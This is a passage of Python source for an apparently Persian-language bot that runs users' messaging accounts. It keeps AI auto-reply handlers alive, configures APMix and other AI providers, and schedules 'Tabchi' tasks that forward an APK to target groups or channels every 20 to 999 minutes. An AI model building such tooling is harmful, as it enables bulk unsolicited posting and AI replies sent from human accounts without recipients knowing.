                            _register_ai_handler(client, uid, row["service"], aid)
                    except Exception as e:
                        log.warning(f"AI self-heal {row['service']} #{aid}: {e}")

            try:
                await _trx_start_live_runner(
                    ai_live_clients.get(key),
                    row["service"],
                    uid,
                    aid,
                )
            except Exception:
                pass

            # Keep the check lightweight; messages themselves are handled by
            # the account's event system immediately.
            await asyncio.sleep(45)

        except asyncio.CancelledError:
            raise
        except Exception as e:
            # The supervisor must survive its own errors.
            log.warning(f"AI supervisor {uid}/{aid}: {e}")
            await asyncio.sleep(20)
    _TRX15_SUPERVISORS.pop(key, None)

async def _trx15_supervise_bound_accounts_once():
    try:
        rows = db.fetchall(
            "SELECT b.user_id,b.account_id,a.service FROM ai_bindings b "
            "JOIN accounts a ON a.id=b.account_id "
            "WHERE b.enabled=1 AND a.enabled=1 ORDER BY b.id"
        )
    except Exception:
        return
    for r in rows:
        try:
            await _trx15_start_supervisor(int(r["user_id"]), int(r["account_id"]))
        except Exception:
            pass

async def _trx15_scheduler_guard():
    # Wait for the Telegram bot to become live, then run the existing v14
    # scheduler under an outer guard. If a task fails, only that task is logged.
    while True:
        try:
            if bot is None or not getattr(bot, "running", False):
                await asyncio.sleep(10)
                continue
            await _trx115_scheduler_loop_v14()
            return
        except asyncio.CancelledError:
            raise
        except Exception as e:
            log.error(f"TRX15 scheduler guard: {e}")
            await asyncio.sleep(10)

async def _trx15_runtime_supervisor():
    global _TRX15_SCHEDULER_TASK
    if not _TRX15_SCHEDULER_TASK:
        _TRX15_SCHEDULER_TASK = _trx_task_create(_trx15_scheduler_guard())
    while True:
        try:
            if db is not None:
                await _trx15_supervise_bound_accounts_once()
            await asyncio.sleep(30)
        except asyncio.CancelledError:
            raise
        except Exception as e:
            log.warning(f"TRX15 runtime supervisor: {e}")
            await asyncio.sleep(15)

# Replace the startup restore routine with an isolated version.
async def _restore_ai_live_clients_v15():
    try:
        rows = db.fetchall(
            "SELECT b.user_id,b.account_id,a.service FROM ai_bindings b "
            "JOIN accounts a ON a.id=b.account_id "
            "WHERE b.enabled=1 AND a.enabled=1 ORDER BY b.id"
        )
    except Exception as e:
        log.warning(f"TRX15 AI restore query failed: {e}")
        rows = []

    for r in rows:
        try:
            client = await _trx_restore_one_account(int(r["user_id"]), int(r["account_id"]))
            if client:
                _register_ai_handler(
                    client,
                    int(r["user_id"]),
                    r["service"],
                    int(r["account_id"]),
                )
            await _trx15_start_supervisor(int(r["user_id"]), int(r["account_id"]))
        except Exception as e:
            # Critical isolation rule: one bad session is only one bad account.
            log.warning(
                f"TRX15 AI account restore skipped "
                f"{r['service']} #{r['account_id']} uid={r['user_id']}: {e}"
            )

    try:
        _trx15_task_create = _trx_task_create(_trx15_runtime_supervisor())
        if _trx15_task_create is None:
            log.warning("TRX15 runtime supervisor could not start")
    except Exception as e:
        log.warning(f"TRX15 runtime supervisor startup failed: {e}")

_restore_ai_live_clients = _restore_ai_live_clients_v15

# -------------------------------------------------------------------
# 8) Safer target validation and clearer link instructions.
# -------------------------------------------------------------------
async def _trx15_validate_target(uid, aid, raw, kind):
    raw = str(raw or "").strip()
    if not raw:
        return False, None, "لینک یا شناسه هدف خالی است"

    # Accept common public forms:
    # https://host/username
    # https://host/username/message
    # @username
    # direct numeric/guid-like IDs
    if len(raw) > 500:
        return False, None, "لینک خیلی طولانی است"

    if raw.startswith(("http://", "https://")):
        try:
            from urllib.parse import urlparse
            parsed = urlparse(raw)
            if not parsed.netloc or not parsed.path.strip("/"):
                return False, None, "لینک معتبر نیست"
            if "join" in parsed.path.lower() and kind == "channel":
                return False, None, "برای کانال لینک عمومی یا @username را بفرستید، نه لینک دعوت"
        except Exception:
            return False, None, "لینک معتبر نیست"

    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        return False, None, "نشست اکانت در دسترس نیست؛ اول اکانت را فعال نگه دارید"

    try:
        resolved = await _trx_resolve_target(client, raw)
    except Exception as e:
        log.warning(f"target resolve {uid}/{aid}: {e}")
        resolved = raw

    # Probe access. A successful lookup means the account can see the target,
    # which is the practical membership/permission check supported across the
    # installed client variants.
    probe_ok = False
    for name in (
        "get_chat",
        "get_group_info",
        "get_channel_info",
        "get_object_by_username",
    ):
        fn = getattr(client, name, None)
        if not fn:
            continue
        try:
            result = await asyncio.wait_for(
                _trx_maybe_await(fn(resolved)),
                timeout=15,
            )
            if result is not None:
                probe_ok = True
                break
        except Exception as e:
            log.debug(f"target probe {name} failed: {e}")

    if not probe_ok and raw.startswith("@"):
        # Some clients cannot resolve until first send; keep the explicit target
        # rather than dropping the user's input.
        resolved = raw

    return True, resolved, ""

# Route the final target validator used by the v14 wizard.
_trx115_validate_target_v14 = _trx15_validate_target

# -------------------------------------------------------------------
# 9) Stronger live-AI handler: mark seen first, then delegate to the
#    already-tested natural reply logic.
# -------------------------------------------------------------------
_TRX15_EVENT_HANDLER_BASE = _trx115_event_handler_v14

async def _trx15_event_handler(event, uid, service, aid):
    client = ai_live_clients.get((uid, aid))
    try:
        if client is not None:
            await _trx_maybe_mark_seen(client, event)
    except Exception:
        pass
    try:
        return await _TRX15_EVENT_HANDLER_BASE(event, uid, service, aid)
    except asyncio.CancelledError:
        raise
    except Exception as e:
        # An individual incoming message can never bubble out and kill the client.
        log.error(f"TRX15 live handler isolated {service}/{aid}: {e}")
        return None

# The existing registration helper resolves these symbols at event time.
_trx_event_handler_v9 = _trx15_event_handler
_trx_event_handler_v11 = _trx15_event_handler
_trx_event_handler_v10 = _trx15_event_handler

# -------------------------------------------------------------------
# 10) Task reliability:
#     source APK is forwarded every cycle, caption is second, and a single
#     failed cycle cannot stop the scheduler.
# -------------------------------------------------------------------
async def _trx15_run_task(task):
    try:
        return await _trx115_run_task_v14(task)
    except asyncio.CancelledError:
        raise
    except Exception as e:
        log.error(f"TRX15 task #{task['id']} failed safely: {e}")
        try:
            db.execute(
                "INSERT INTO ai_task_runs(task_id,success,detail,created_at) VALUES(?,?,?,?)",
                (task["id"], 0, str(e)[:1400], now()),
            )
            db.execute(
                "UPDATE ai_tasks SET last_run=?,updated_at=? WHERE id=?",
                (now(), now(), task["id"]),
            )
        except Exception:
            pass
        return False

_trx_run_task = _trx15_run_task
_trx115_run_task = _trx15_run_task
_trx_scheduler_loop = _trx115_scheduler_loop_v14

# -------------------------------------------------------------------
# 11) Final admin callback aliases and task button labels.
# -------------------------------------------------------------------
_TRX15_DISPATCH_ORIGINAL_FINAL = dispatch_cb

async def _trx15_dispatch_final(cb_id, uid, lang, u, chat_id, msg_id, data):
    if is_admin(uid) and data in {"adm.sub", "adm.sub.add", "adm.sub.deduct", "adm.users"}:
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data)

    # Make the labels and flow explicit for Tabchi / Channel Activity.
    if data == "ai.group":
        en = str(lang).lower().startswith("en")
        return await _edit(
            chat_id, msg_id,
            trx_sc("📣 Tabchi\n\nChoose the platform first") if en else
            "📣 **تبچی**\n\nاول پلتفرم را انتخاب کن",
            _trx115_task_platform_kb_v14(lang, "trx115.group.platform"),
        )

    if data == "ai.channel":
        en = str(lang).lower().startswith("en")
        return await _edit(
            chat_id, msg_id,
            trx_sc("📰 Channel Activity\n\nChoose the platform first") if en else
            "📰 **فعالیت چنل**\n\nاول پلتفرم را انتخاب کن",
            _trx115_task_platform_kb_v14(lang, "trx115.channel.platform"),
        )

    return await _TRX15_DISPATCH_ORIGINAL_FINAL(cb_id, uid, lang, u, chat_id, msg_id, data)

dispatch_cb = _trx15_dispatch_final

print(f"[TRX115] FINAL PATCH v15 LOADED — build={TRX115_BUILD}")



# ═══════════════════════════════════════════════════════════════════
# TRX77 FINAL PATCH — APMix dynamic models + 20..999 minute keypad +
# cross-platform AI reply hardening
#
# Additive patch: existing features and earlier repair layers are kept.
# ═══════════════════════════════════════════════════════════════════
TRX77_BUILD = "2026-09-23-final-v17"
TRX77_APMIX_BASE = "https://api.apmix.ai/v1"
TRX77_MINUTES_MIN = 20
TRX77_MINUTES_MAX = 999


def _trx77_norm_digits(value: Any) -> str:
    return str(value or "").translate(str.maketrans(
        "۰۱۲۳۴۵۶۷۸۹٠١٢٣٤٥٦٧٨٩", "01234567890123456789"
    ))


def _trx77_apmix_like(name: str = "", url: str = "") -> bool:
    low_name = str(name or "").lower()
    low_url = str(url or "").lower()
    return "apmix" in low_name or "api.apmix.ai" in low_url


def _trx77_clean_base_url(value: str) -> str:
    url = str(value or "").strip()
    if url in {"", "-", "/skip"}:
        return url
    return re.sub(r"/+(chat/completions|responses|models)$", "", url).rstrip("/")


async def _trx77_apmix_list_models(api_key: str) -> Tuple[bool, Any]:
    """Return the model ids visible to this exact APMix key."""
    key = str(api_key or "").strip()
    if not key:
        return False, "APMix API key is empty"
    await ai.start()
    try:
        async with ai.session.get(
            TRX77_APMIX_BASE + "/models",
            headers={"Authorization": f"Bearer {key}", "Content-Type": "application/json"},
        ) as resp:
            raw = await resp.text()
            if resp.status >= 400:
                return False, f"HTTP {resp.status}: {raw[:900]}"
            data = json.loads(raw)
            rows = data.get("data") if isinstance(data, dict) else data
            ids = []
            for row in rows or []:
                if isinstance(row, dict):
                    mid = row.get("id") or row.get("model")
                else:
                    mid = str(row)
                if mid:
                    ids.append(str(mid).strip())
            ids = list(dict.fromkeys(x for x in ids if x))
            if not ids:
                return False, "APMix /v1/models returned no reachable models for this key"
            return True, ids
    except Exception as exc:
        return False, f"APMix model discovery failed: {_mask(str(exc))[:900]}"


def _trx77_choose_apmix_model(models: List[str]) -> Optional[str]:
    """Prefer a reachable DeepSeek model; otherwise use the first reachable model."""
    ids = [str(x).strip() for x in (models or []) if str(x).strip()]
    if not ids:
        return None

    def score(mid: str):
        low = mid.lower()
        score_value = 0
        if "deepseek" in low:
            score_value += 1000
        if "free" in low:
            score_value += 400
        if "flash" in low:
            score_value += 100
        if "chat" in low:
            score_value += 50
        if any(x in low for x in ("reasoner", "thinking")):
            score_value -= 20
        return score_value

    return sorted(ids, key=lambda x: (-score(x), x.lower()))[0]


async def _trx77_configure_apmix_row(prov, force_refresh: bool = False) -> Tuple[bool, str]:
    """Make an APMix provider use a model the current key can actually call."""
    if not _trx77_apmix_like(prov.get("name") if hasattr(prov, "get") else prov["name"],
                             prov.get("base_url") if hasattr(prov, "get") else prov["base_url"]):
        return True, str(prov["model"] or "")

    current = str(prov["model"] or "").strip()
    # Never keep the model that caused the user's Free-plan error.
    blocked_current = current.lower() in {
        "gpt-5.6-luna", "openai/gpt-5.6-luna", "gpt-5.6-terra", "openai/gpt-5.6-terra"
    }
    if current and not force_refresh and not blocked_current:
        return True, current

    ok, result = await _trx77_apmix_list_models(str(prov["api_key"] or ""))
    if not ok:
        return False, str(result)
    chosen = _trx77_choose_apmix_model(result)
    if not chosen:
        return False, "هیچ مدل قابل استفاده‌ای برای این APMix Key پیدا نشد."
    db.execute(
        "UPDATE ai_providers SET provider='apmix',base_url=?,model=?,status='unknown',last_error='' WHERE id=?",
        (TRX77_APMIX_BASE, chosen, prov["id"]),
    )
    return True, chosen


async def _trx77_provider_finalize(uid: int, name: str, key_value: str, url_value: str):
    """Final provider creation with first-class APMix support."""
    url = _trx77_clean_base_url(url_value)
    lname = str(name or "").lower()
    if url in {"", "-", "/skip"}:
        if "apmix" in lname:
            url = TRX77_APMIX_BASE
        elif "groq" in lname:
            url = "https://api.groq.com/openai/v1"
        elif "cerebras" in lname:
            url = "https://api.cerebras.ai/v1"
        elif "atria" in lname:
            url = "https://api.atria-asi.ai/v1"
        elif "gapgpt" in lname:
            url = "https://api.gapgpt.app/v1"
        else:
            url = "https://api.openai.com/v1"

    low = url.lower()
    if "apmix" in lname or "api.apmix.ai" in low:
        provider = "apmix"
        url = TRX77_APMIX_BASE
        ok, models = await _trx77_apmix_list_models(key_value)
        if not ok:
            return False, f"Provider ثبت نشد؛ APMix مدل‌های قابل دسترس این Key را برنگرداند:\n{models}"
        model = _trx77_choose_apmix_model(models)
        if not model:
            return False, "Provider ثبت نشد؛ هیچ مدل قابل دسترسی از APMix پیدا نشد."
    elif "atria" in lname or "atria-asi.ai" in low:
        provider, model = "atria", "Atria-Dawn-Preview"
        url = "https://api.atria-asi.ai/v1"
    elif "groq" in lname or "groq.com" in low:
        provider, model = "groq", "openai/gpt-oss-120b"
        url = "https://api.groq.com/openai/v1"
    elif "cerebras" in lname or "cerebras.ai" in low:
        provider, model = "cerebras", "gpt-oss-120b"
        url = "https://api.cerebras.ai/v1"
    elif "gapgpt" in lname or "gapgpt" in low:
        provider, model = "gapgpt", "gpt-4o-mini"
    else:
        provider, model = "openai", "gpt-4o-mini"

    existing = db.fetchone("SELECT id FROM ai_providers WHERE name=?", (name,))
    if existing:
        return False, "نام Provider از قبل وجود دارد. برای APMix می‌توانید همان کلید را با یک نام جدید ثبت کنید."

    cur = db.execute(
        "INSERT INTO ai_providers(name,provider,base_url,model,api_key,priority,status,error_count,last_error,created_at) "
        "VALUES(?,?,?,?,?,?,?,0,'',?)",
        (name, provider, url, model, key_value, 100, "unknown", now()),
    )
    pid = cur.lastrowid
    ok_test, info = await ai.test(pid)
    if ok_test:
        return True, f"✅ Provider #{pid} ثبت و تست شد.\n🧠 Model: {model}\n\n{str(info)[:300]}"
    db.execute(
        "UPDATE ai_providers SET status='failed',last_error=? WHERE id=?",
        (str(info)[:1400], pid),
    )
    return False, f"Provider ذخیره شد ولی تست ناموفق بود:\n{str(info)[:1000]}"


_trx_provider_finalize = _trx77_provider_finalize


# ----- APMix-safe request path. Other providers continue through the existing v10 engine. -----
async def _trx77_ai_call_one(self, prov, messages, temperature=0.7, max_tokens=600):
    provider = str(prov["provider"] or "").lower().strip()
    apmix = _trx77_apmix_like(str(prov["name"] or ""), str(prov["base_url"] or "")) or provider == "apmix"
    if not apmix:
        return await _trx_ai_call_v10(self, prov, messages, temperature, max_tokens)

    last_error = None
    for refresh in (False, True):
        row = db.fetchone("SELECT * FROM ai_providers WHERE id=?", (prov["id"],))
        if not row:
            return None
        ok_model, model_or_error = await _trx77_configure_apmix_row(row, force_refresh=refresh)
        if not ok_model:
            last_error = model_or_error
            break
        model = model_or_error
        try:
            body = {"model": model, "messages": messages, "max_tokens": int(max_tokens)}
            if temperature is not None:
                body["temperature"] = temperature
            async with self.session.post(
                TRX77_APMIX_BASE + "/chat/completions",
                headers={"Authorization": f"Bearer {row['api_key']}", "Content-Type": "application/json"},
                json=body,
            ) as resp:
                raw = await resp.text()
                if resp.status < 400:
                    data = json.loads(raw)
                    choices = data.get("choices") or []
                    content = (choices[0].get("message") or {}).get("content") if choices else None
                    if content:
                        usage = data.get("usage") or {}
                        tokens = int(usage.get("total_tokens") or 0)
                        db.execute(
                            "UPDATE ai_providers SET provider='apmix',base_url=?,model=?,status='working',last_test=?,last_error='' WHERE id=?",
                            (TRX77_APMIX_BASE, model, now(), row["id"]),
                        )
                        return content, tokens
                    last_error = "APMix پاسخ فاقد choices/message.content بود"
                    continue

                last_error = f"HTTP {resp.status}: {raw[:900]}"
                low = raw.lower()
                if resp.status in (400, 403, 404) and any(
                    key in low for key in ("modelnotinplan", "model_not_found", "model not found", "needs the starter plan")
                ):
                    # Force /models refresh on the second pass.
                    continue
                break
        except Exception as exc:
            last_error = _mask(str(exc))
            continue

    db.execute(
        "UPDATE ai_providers SET status='failed',error_count=error_count+1,last_error=? WHERE id=?",
        (str(last_error or "APMix request failed")[:1500], prov["id"]),
    )
    log.warning(f"APMix provider {prov['name']} failed: {last_error}")
    return None


async def _trx77_ai_chat(self, messages, uid=0, account_id=None, action_type="chat", temperature=0.7, max_tokens=600):
    await self.start()
    provs = self._load()
    if not provs:
        return None
    provs = sorted(provs, key=lambda p: (
        0 if p["status"] == "working" else 1 if p["status"] == "unknown" else 2,
        p["priority"], p["id"]
    ))
    for prov in provs:
        result = await _trx77_ai_call_one(self, prov, messages, temperature, max_tokens)
        if result:
            content, tokens = result
            try:
                db.execute(
                    "INSERT INTO ai_usage(user_id,provider_id,account_id,action_type,tokens,success,created_at) VALUES(?,?,?,?,?,1,?)",
                    (uid, prov["id"], account_id, action_type, tokens, now()),
                )
            except Exception:
                pass
            return content
    return None


async def _trx77_ai_test(self, prov_id):
    await self.start()
    prov = db.fetchone("SELECT * FROM ai_providers WHERE id=?", (prov_id,))
    if not prov:
        return False, "provider not found"
    result = await _trx77_ai_call_one(self, prov, [{"role":"user","content":"Reply with exactly: OK"}], 0.0, 16)
    if result:
        return True, result[0]
    err = db.fetchone("SELECT last_error FROM ai_providers WHERE id=?", (prov_id,))
    return False, err["last_error"] if err else "test failed"


AIProvider._call = _trx77_ai_call_one
AIProvider.chat = _trx77_ai_chat
AIProvider.test = _trx77_ai_test


# Normalize already-saved APMix rows in-place before the first AI request.
# Network model discovery is deliberately deferred to the first APMix test/call
# so startup remains fast even when APMix is temporarily unreachable.
_TRX77_PROVIDER_SEED_BASE = AIProvider.seed
async def _trx77_provider_seed(self):
    try:
        await _TRX77_PROVIDER_SEED_BASE(self)
    except Exception as exc:
        log.warning(f"Provider seed base failed: {_mask(str(exc))}")
    try:
        for row in db.fetchall("SELECT * FROM ai_providers ORDER BY priority,id"):
            if _trx77_apmix_like(row["name"], row["base_url"]) or str(row["provider"] or "").lower() == "apmix":
                db.execute(
                    "UPDATE ai_providers SET provider='apmix',base_url=? WHERE id=?",
                    (TRX77_APMIX_BASE, row["id"]),
                )
    except Exception as exc:
        log.warning(f"APMix seed normalization skipped: {_mask(str(exc))}")

AIProvider.seed = _trx77_provider_seed


# ═══════════════════════════════════════════════════════════════════
# 20..999 minute glass keypad for Tabchi / Channel Activity
# ═══════════════════════════════════════════════════════════════════

def _trx77_minutes_kb(lang: str, value: str = ""):
    en = str(lang or "fa").lower().startswith("en")
    current = _trx77_norm_digits(value)
    shown = current or "—"
    rows = [
        [("1", "trx77.min.d:1"), ("2", "trx77.min.d:2"), ("3", "trx77.min.d:3")],
        [("4", "trx77.min.d:4"), ("5", "trx77.min.d:5"), ("6", "trx77.min.d:6")],
        [("7", "trx77.min.d:7"), ("8", "trx77.min.d:8"), ("9", "trx77.min.d:9")],
        [("⌫", "trx77.min.back"), ("0", "trx77.min.d:0"), ("🧹", "trx77.min.clear")],
    ]
    # Keep confirm as a separate full-width action. The callback still validates 20..999.
    rows.append([(
        "✅ تأیید" if not en else trx_sc("✅ Confirm"),
        "trx77.min.ok",
    )])
    rows.append([(
        "❌ لغو" if not en else trx_sc("❌ Cancel"),
        "cancel",
    )])
    return IKB(rows)


def _trx77_minutes_text(lang: str, value: str = "") -> str:
    en = str(lang or "fa").lower().startswith("en")
    current = _trx77_norm_digits(value)
    shown = current or "—"
    if en:
        return trx_sc(
            f"⏱ Minutes panel\n\nSelected: {shown}\n\n"
            f"Choose a 2 or 3 digit number from {TRX77_MINUTES_MIN} to {TRX77_MINUTES_MAX}.\n"
            "20 is valid; values below 20, above 999, or leading-zero values are rejected."
        )
    return (
        "⏱ **پنل زمان‌بندی**\n\n"
        f"عدد انتخاب‌شده: **{shown}**\n\n"
        f"با دکمه‌های شیشه‌ای یک عدد **۲ یا ۳ رقمی** از **{TRX77_MINUTES_MIN} تا {TRX77_MINUTES_MAX}** وارد کن.\n"
        "۲۰ مجاز است؛ عدد کمتر از ۲۰، بیشتر از ۹۹۹ و عدد با صفر ابتدای آن قبول نمی‌شود.\n\n"
        "بعد از وارد کردن عدد، ✅ تأیید را بزن."
    )


def _trx77_minutes_valid(value: str) -> Tuple[bool, int]:
    raw = _trx77_norm_digits(value).strip()
    if not raw.isdigit() or len(raw) not in (2, 3):
        return False, 0
    if len(raw) > 1 and raw.startswith("0"):
        return False, 0
    n = int(raw)
    return TRX77_MINUTES_MIN <= n <= TRX77_MINUTES_MAX, n


async def _trx77_finish_task_minutes(cb_id, uid, lang, chat_id, msg_id, minutes: int, s: dict):
    aid = int(s["account_id"])
    apk = _trx115_apk_for_account(uid, aid)
    if not apk:
        return await _edit(
            chat_id, msg_id,
            "❌ برای این اکانت هنوز APK منبع ثبت نشده\nاول از بخش APK، منبع را ثبت کنید.",
            _trx115_apk_panel_kb(uid, lang),
        )
    preview = (
        trx_sc(
            f"🧾 Schedule preview\n\n"
            f"Mode: {'Channel Activity' if s['task_kind']=='channel' else 'Tabchi'}\n"
            f"Target: {s['target']}\n"
            f"Account: #{aid}\n"
            f"Interval: every {minutes} minutes\n"
            f"Source: APK {apk['id']} • {apk['file_name']}\n\n"
            "Confirm this schedule?"
        ) if str(lang).lower().startswith("en") else
        (
            "🧾 **پیش‌نمایش زمان‌بندی**\n\n"
            f"حالت: **{'فعالیت چنل' if s['task_kind']=='channel' else 'تبچی'}**\n"
            f"هدف: `{s['target']}`\n"
            f"اکانت: **#{aid}**\n"
            f"فاصله: هر **{minutes} دقیقه**\n"
            f"منبع: **APK {apk['id']} • {apk['file_name']}**\n\n"
            "هر اجرا در چارچوب همین زمان‌بندی انجام می‌شود.\n"
            "این زمان‌بندی را تایید می‌کنی؟"
        )
    )
    state.set(
        uid,
        "trx115_task_confirm",
        **{k:v for k,v in s.items() if k not in {"state", "at", "minutes"}},
        interval_seconds=minutes * 60,
        apk_id=int(apk["id"]),
    )
    return await _edit(
        chat_id, msg_id, preview,
        IKB([
            [
                (trx_sc("✅ Confirm") if str(lang).lower().startswith("en") else "✅ تایید", "trx115.task.confirm"),
                (trx_sc("❌ Cancel") if str(lang).lower().startswith("en") else "❌ لغو", "cancel"),
            ]
        ]),
    )


# ----- Callback router: keypad actions are handled before legacy interval routes. -----
_TRX77_DISPATCH_BASE = dispatch_cb
async def _trx77_dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    try:
        if data.startswith("trx77.min.d:"):
            s = state.get(uid)
            if not s or s.get("state") != "trx77_task_minutes":
                return await _edit(chat_id, msg_id, "❌ این پنل منقضی شده؛ دوباره هدف را انتخاب کنید.", ai_advanced_menu(lang, uid))
            digit = _trx77_norm_digits(data.split(":", 2)[2])
            if digit not in "0123456789":
                return await _edit(chat_id, msg_id, _trx77_minutes_text(lang, s.get("minutes", "")), _trx77_minutes_kb(lang, s.get("minutes", "")))
            current = _trx77_norm_digits(s.get("minutes", ""))
            if len(current) >= 3:
                return await _edit(chat_id, msg_id, ("⚠️ حداکثر ۳ رقم است؛ حالا تأیید یا اصلاح کن." if not str(lang).lower().startswith("en") else trx_sc("⚠️ Maximum 3 digits. Confirm or edit.")), _trx77_minutes_kb(lang, current))
            if not current and digit == "0":
                return await _edit(chat_id, msg_id, _trx77_minutes_text(lang, current), _trx77_minutes_kb(lang, current))
            new_value = current + digit
            # Keep the field within 2/3 digits and prevent values that can never reach 20.
            if len(new_value) == 2 and int(new_value) > TRX77_MINUTES_MAX:
                return await _edit(chat_id, msg_id, _trx77_minutes_text(lang, current), _trx77_minutes_kb(lang, current))
            state.set(uid, "trx77_task_minutes", **{k:v for k,v in s.items() if k not in {"state", "at", "minutes"}}, minutes=new_value)
            return await _edit(chat_id, msg_id, _trx77_minutes_text(lang, new_value), _trx77_minutes_kb(lang, new_value))

        if data == "trx77.min.back" or data == "trx77.min.clear":
            s = state.get(uid)
            if not s or s.get("state") != "trx77_task_minutes":
                return await _edit(chat_id, msg_id, "❌ این پنل منقضی شده؛ دوباره هدف را انتخاب کنید.", ai_advanced_menu(lang, uid))
            current = _trx77_norm_digits(s.get("minutes", ""))
            if data == "trx77.min.back":
                current = current[:-1]
            else:
                current = ""
            state.set(uid, "trx77_task_minutes", **{k:v for k,v in s.items() if k not in {"state", "at", "minutes"}}, minutes=current)
            return await _edit(chat_id, msg_id, _trx77_minutes_text(lang, current), _trx77_minutes_kb(lang, current))

        if data == "trx77.min.ok":
            s = state.get(uid)
            if not s or s.get("state") != "trx77_task_minutes":
                return await _edit(chat_id, msg_id, "❌ این پنل منقضی شده؛ دوباره هدف را انتخاب کنید.", ai_advanced_menu(lang, uid))
            valid, minutes = _trx77_minutes_valid(s.get("minutes", ""))
            if not valid:
                msg = (
                    trx_sc(f"⚠️ Enter a 2 or 3 digit value between {TRX77_MINUTES_MIN} and {TRX77_MINUTES_MAX}.")
                    if str(lang).lower().startswith("en") else
                    f"⚠️ باید یک عدد ۲ یا ۳ رقمی بین **{TRX77_MINUTES_MIN} تا {TRX77_MINUTES_MAX}** وارد کنی."
                )
                return await _edit(chat_id, msg_id, msg, _trx77_minutes_kb(lang, s.get("minutes", "")))
            return await _trx77_finish_task_minutes(cb_id, uid, lang, chat_id, msg_id, minutes, s)

    except Exception as exc:
        log.error(f"TRX77 minute keypad callback error: {exc}\n{traceback.format_exc(limit=40)}")
    return await _TRX77_DISPATCH_BASE(cb_id, uid, lang, u, chat_id, msg_id, data)

dispatch_cb = _trx77_dispatch_cb


# ----- Message-state router: after target link, jump directly to keypad. -----
_TRX77_ON_MSG_BASE = on_msg
async def _trx77_on_msg(msg):
    try:
        from_ = msg.get("from", {}) or {}
        uid = from_.get("id")
        chat_id = msg.get("chat", {}).get("id")
        if not uid:
            return
        u = ensure_user(uid, from_.get("username", ""), from_.get("first_name", ""))
        lang = u["lang"] or "fa"
        txt = (msg.get("text") or "").strip()
        s = state.get(uid)

        # APMix has no useful manual model entry here: the model must come from
        # GET /v1/models for the exact key. For APMix, finish immediately after
        # the URL step; this prevents the legacy manual model field from ever
        # overwriting the dynamically selected free/allowed model.
        if s and s.get("state") == State.ADD_PROVIDER_URL and s.get("step") == "url" and _trx77_apmix_like(s.get("provider_name"), txt):
            name = str(s.get("provider_name") or "APMix")
            ok, result_text = await _trx77_provider_finalize(
                uid, name, str(s.get("api_key") or ""), txt
            )
            state.pop(uid)
            return await bot.send(chat_id, result_text, reply_markup=admin_apis_menu(lang))

        if s and s.get("state") == State.ADD_PROVIDER_URL and s.get("step") == "model" and _trx77_apmix_like(s.get("provider_name"), s.get("base_url")):
            name = str(s.get("provider_name") or "APMix")
            ok, result_text = await _trx77_provider_finalize(
                uid, name, str(s.get("api_key") or ""), str(s.get("base_url") or "/skip")
            )
            state.pop(uid)
            return await bot.send(chat_id, result_text, reply_markup=admin_apis_menu(lang))

        if s and s.get("state") == "trx115_task_target":
            target = txt.strip()
            if not target:
                return await bot.send(chat_id, "لینک یا شناسه هدف را بفرستید.")
            aid = int(s["account_id"])
            valid, resolved, reason = await _trx115_validate_target_v14(uid, aid, target, s["task_kind"])
            if not valid:
                en = str(lang).lower().startswith("en")
                return await bot.send(
                    chat_id,
                    (trx_sc("❌ " + reason) if en else "❌ " + reason),
                    reply_markup=IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو", "cancel")]]),
                )
            next_data = {k:v for k,v in s.items() if k not in {"state", "at", "minutes"}}
            next_data.update({"target": target, "resolved_target": str(resolved), "minutes": ""})
            state.set(uid, "trx77_task_minutes", **next_data)
            return await bot.send(
                chat_id,
                _trx77_minutes_text(lang, ""),
                reply_markup=_trx77_minutes_kb(lang, ""),
            )

        # Text input at keypad stage is rejected with the same panel instead of
        # silently falling back into the old free-text interval parser.
        if s and s.get("state") == "trx77_task_minutes":
            return await bot.send(
                chat_id,
                _trx77_minutes_text(lang, s.get("minutes", "")),
                reply_markup=_trx77_minutes_kb(lang, s.get("minutes", "")),
            )
    except Exception as exc:
        log.error(f"TRX77 on_msg keypad error: {exc}\n{traceback.format_exc(limit=40)}")
    return await _TRX77_ON_MSG_BASE(msg)

on_msg = _trx77_on_msg


# ═══════════════════════════════════════════════════════════════════
# Cross-platform AI reply hardening
# ═══════════════════════════════════════════════════════════════════

def _trx77_event_text(event) -> str:
    return _trx_extract_event_text(event)


async def _trx77_event_target(event, client):
    target = getattr(event, "chat_id", None)
    if target is None:
        chat = getattr(event, "chat", None)
        target = getattr(chat, "id", None) or getattr(chat, "guid", None) or getattr(chat, "object_guid", None)
    if target is None:
        target = getattr(event, "peer", None)
    return target


async def _trx77_send_reply(client, event, text: str) -> bool:
    clean = _trx115_cleanup_caption(text)
    if not clean:
        return False

    # Native event methods first: SPlusthon and current Bale explicitly support reply().
    for method_name in ("reply", "respond"):
        fn = getattr(event, method_name, None)
        if not fn:
            continue
        try:
            await _trx_maybe_await(fn(clean))
            return True
        except Exception as exc:
            log.debug(f"event {method_name} failed: {_mask(str(exc))}")

    # Bale event/chat helpers are useful with clients where event.reply is absent.
    chat = getattr(event, "chat", None)
    chat_send = getattr(chat, "send", None) if chat is not None else None
    if chat_send:
        try:
            await _trx_maybe_await(chat_send(clean))
            return True
        except Exception as exc:
            log.debug(f"event.chat.send failed: {_mask(str(exc))}")

    target = await _trx77_event_target(event, client)
    send = getattr(client, "send_message", None)
    if send and target is not None:
        variants = [
            ((target, clean), {}),
            ((str(target), clean), {}),
        ]
        for args, kwargs in variants:
            try:
                await _trx_maybe_await(send(*args, **kwargs))
                return True
            except Exception as exc:
                log.debug(f"client.send_message fallback failed: {_mask(str(exc))}")

    # Current Bale package exposes a typed RPC surface too. Use it only as a last resort.
    try:
        messaging = getattr(client, "messaging", None)
        rpc = getattr(messaging, "SendMessage", None) if messaging is not None else None
        peer = getattr(event, "peer", None)
        rid = getattr(event, "id", None) or getattr(event, "message_id", None) or 0
        if rpc and peer is not None:
            await _trx_maybe_await(rpc(peer=peer, rid=rid, message={"textMessage": {"text": clean}}))
            return True
    except Exception as exc:
        log.debug(f"Bale RPC fallback failed: {_mask(str(exc))}")

    return False


# Keep duplicate protection but allow a clean re-bind after a client reconnects.
_TRX77_HANDLER_KEYS = set()


def _trx77_register_handler(client, uid, service, aid):
    key = (int(uid), int(aid), id(client))
    if key in _TRX77_HANDLER_KEYS:
        return True

    async def handler(event):
        try:
            await _trx77_event_handler(event, int(uid), service, int(aid))
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            log.error(f"TRX77 live handler {service}/{aid}: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")

